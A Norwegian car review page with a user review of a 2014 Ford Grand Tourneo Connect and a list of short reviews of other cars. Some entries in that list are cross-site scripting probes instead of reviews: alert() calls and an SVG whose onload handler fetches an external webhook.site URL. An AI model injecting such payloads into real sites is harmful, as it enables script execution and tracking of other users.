Hvilken bil ser du etter?

Tilbake til front | Skriv en vurdering
2014 Ford Grand Tourneo Connect 1,6 TDCi 115hk Titan. 7s. Flerbruksbil Diesel

Score 6/10

Veldig praktisk bil hva angår størrelsen. Men motor er for liten, og en må ofte file en del clutch, spesielt med henger/fullastet bil. Vi velger å gå over til nyere bil som er billigere i bruk, men med mindre plass. Så får en heller bruke takboks i feriene, og pakke litt smartere.

Kjøreglede

5 / 10
Til størrelsen så føles den som en personbil når en kjører rett frem, med sin personbil sittestilling. Den tar det fra A-B uten å gi noe mer en passe følelse.

Kvalitet/driftssikkerhet

6 / 10
Typisk Ford. Ikke mye feil som slår ut på EU. Men kvaliteten er ikke helt tysk. Ting forfaller fort, plastfølelse, og noe ser en ikke er så bra. Zink slipp før garantiutløp nektet forhandler å utbedre. Delekatalog for å gjøre ting selv finner en ikke online, og merkehandlere er motvillig til å hjelpe. Ikke fornøyd med Ford merket generelt.

Plass/praktiske løsninger

10 / 10
Veldig god plass. Bare å stappe inn. Trenger knapt å slippe luft ut av badelekene etter en tur på stranda. Alt du har lyst til å ha med kan du ta med. Barnevogn går inn ute. Å slå den sammen i hverdagen også. Skyvedørene bak med små barn er geniale. Dog litt stor bil å ratte på parkeringsplassen for noen i hverdagen.

Økonomi/kostnader

5 / 10
Har 2014 model, kjører 12000 i året. Følger alle servicer. Regnet på at den koster 8500kr/mnd men absolutt alle utgifter. Ble ganske overrasket, så nå ryker den ut til fordel for nyere bil som ikke er Ford.

Drivstoff/forbruk

4 / 10
Ekoboost motoren bruker kanskje mindre en andre tilsvarende biler fra 2014. Men i forhold til dagens standard er forbruket høyt på en så svak motor. (Har største diesel)

Flere vurderinger

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Score 8.4

Vurdert av Knut

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Score 9.0

Vurdert av Siri

Aston Martin DB9 GT (2017)

alert("total")

Score 5.0

Vurdert av test

Aston Martin DB9 GT (2017)

totalvurderingtest

Score 5.0

Vurdert av test

Abarth 500e (2024)

Score 10

Vurdert av Bernt

Abarth 500e (2024)

Score 1.0

Vurdert av xxxfooo4

Abarth 500e (2024)

xxxfooo4

Score 3.0

Vurdert av xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Score 6.2

Vurdert av Bernt

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Score 1.6

Vurdert av Jorsalfar1996

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Score 8.2

Vurdert av Adams

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Score 8.6

Vurdert av Viggo

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Score 8.2

Vurdert av MrP85

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Score 9.4

Vurdert av Renna

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Score 8.8

Vurdert av Autofilen

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km

Score 9.6

Vurdert av Hans